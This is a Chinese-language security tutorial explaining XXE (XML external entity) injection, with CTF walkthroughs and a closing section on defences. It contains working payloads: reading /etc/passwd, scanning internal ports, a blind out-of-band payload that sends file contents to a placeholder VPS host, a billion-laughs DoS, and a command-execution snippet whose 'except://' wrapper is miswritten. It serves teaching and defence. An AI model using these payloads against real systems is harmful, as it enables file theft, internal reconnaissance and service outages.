浅谈XML实体注入漏洞

2018-06-29 278540人围观 ,发现 9 个不明物体 WEB安全漏洞

* 本文作者:Hu3sky@D0g3,本文属FreeBuf原创奖励计划,未经许可禁止转载

学习了XXE漏洞,自己来总结一下,如果有什么写的不到位,不够好的地方,还请师傅们指出。

0×00 XXE漏洞

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

0×01 XML

既然说到XML,就先学习一波XML。

- XML被设计为传输和存储数据,其焦点是数据的内容。

- HTML被设计用来显示数据,其焦点是数据的外观。

XML把数据从HTML分离,XML是独立于软件和硬件的信息传输工具。

基本语法:

- 所有 XML 元素都须有关闭标签。

- XML 标签对大小写敏感。

- XML 必须正确地嵌套。

- XML 文档必须有根元素。

- XML 的属性值须加引号。

- 实体引用,这里看个例子,如果你把字符 “<” 放在 XML,素中,会发生错误,这是因为解析器会把它当作新元素的开始。这样会产生XML错误:

`<message>hello < world</message>`,为了避免错误。我们用实体引用`&lt;`来代替”<”字符。XML中,有5个预定义的实体引用。
1.png- XML中的注释,在XML中编写注释的语法与 HTML 的语法很相似。

<!-- -->

- 在 XML 中,空格会被保留,多个空格不会被合并为一个。

<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title>      <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author>       <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

0×02 DTD

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。带有DTD的XML文档实例

<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

2.png当使用外部DTD时,通过如下语法引入。

<!DOCTYPE root-element SYSTEM "filename">

外部DTD实例

<?xml version="1.0"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

test.dtd:

<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->

3.png

源码

4.png

- PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。

5.png不过,被解析的字符数据不应当包含任何&,<,或者>字符,需要用`&amp;` `&lt;` `&gt;`实体来分别替换

- CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

DTD元素

6.png

DTD属性

属性声明使用以下语法

<!ATTLIST 元素名称 属性名称 属性类型 默认值>

DTD实例

<!ATTLIST payment Hu3sky CDATA "H">

XML实例

<payment Hu3sky="H" />

以下是属性类型的选项

7.png

默认值参数可以使用下列值:

8.png

DTD-实体(重要)

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

实体引用是对实体的引用。

实体可以在内部或外部进行声明

9.png

内部实体

<!ENTITY 实体名称 "实体的值">

外部实体

<!ENTITY 实体名称 SYSTEM "URL">

参数实体

<!ENTITY %实体名称 "值">

or

<!ENTITY %实体名称 SYSTEM "URL">

内部实体例子

<?xml version="1.0"?>
<!DOCTYPE note[
<!ELEMENT note (name)>
<!ENTITY hack3r "Hu3sky">
]>
<note>
<name>&hack3r;</name>
</note>

结果

10.png参数实体+外部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
  <!ENTITY % name SYSTEM "file:///etc/passwd">
  %name;
]>

`%name`(参数实体)是在DTD中被引用的,而`&name;`是在xml文档中被引用的。

XXE主要是利用了DTD引用外部实体导致的漏洞。

0×03 攻击思路

1. 引用外部实体远程文件读取

2. Blind XXE

3. DoS

外部实体引用,有回显

读取任意文件

例子一

这里我用bWAPP平台上的一道XXE的题目来说明

题目是这样的,我们点击这个按钮然后抓包看看11.png

12.png可以看到xxe-1.php页面以POST方式向xxe-2.php页面传输了XML数据,既然是XML数据,我们就可以自己增加一个恶意外部实体然后再原本的XML数据中进行实体调用,来进行XXE攻击,如下:

13.png可以看到,成功的读取了robots.txt中的内容,这里的hu3sky是我们定义的一个外部实体。

为了更好理解原理,我们来看一看xxe-2.php的源码。

主要代码在这。

17.png可以看到这里直接用了`simplexml_load_string()` ,simplexml_load_string() 函数的作用是把XML 字符串载入对象中。函数获取xml内容,并没有做任何过滤,$login获取login标签里的内容,最后拼接到$message显示在屏幕上 18.png

例子二

jarvisoj上的一道题目API调用

这道题的题目说明是 请设法获得目标机器/home/ctf/flag.txt中的flag值。

进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框,我们对其进行抓包3.png发现了json数据,修改发现可以被解析

4.png。一开始没有思路,后来看了wp,发现是要把json处改为xml。所以就知道了,这题是xxe。修改json处,构造一个xml表单进行xml注入,得到flag。5.png

检测内网端口

有回显时,直接发送payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&XXE;</name>
</root>

当我们检测80端口时,80端口开放,这时会返回页面报错信息(记得url编码。因为页面会解码一次),如下:

15.png 当我们检测3389端口,3389端口未开放,端口未开放时返回情况如下:

16.pngBlind XXE

如果服务器没有回显,只能使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。

所以,在没有回显的情况下如何来利用XXE

14.png

思路:

1. 客户端发送payload 1给web服务器

2. web服务器向vps获取恶意DTD,并执行文件读取payload2

3. web服务器带着回显结果访问VPS上特定的FTP或者HTTP

4. 通过VPS获得回显(nc监听端口)

本地客户端(payload 1 )

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote;]>

由于web端会解码,所以需要我们先html实体编码一次

payload 2 也就是test.xml的内容(VPS)

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>">
%int;
%trick;

这个是先将SYSTEM的file协议读取到的内容赋值给参数实体%payload,第二步是一个实体嵌套,trick是远程访问ftp协议所携带的内容

DOS

<?xml version="1.0"?>
   <!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

这个的原理就是递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。

命令执行

php环境下,xml命令执行需要php装有expect扩展,但是该扩展默认没有安装,所以一般来说,比较难利用,这里就只给出代码了

<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
  <!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

0×04 防御XXE

使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

#过滤用户提交的XML数据

过滤关键字:<\!DOCTYPE和<\!ENTITY,或者SYSTEM和PUBLIC。

不允许XML中含有自己定义的DTD

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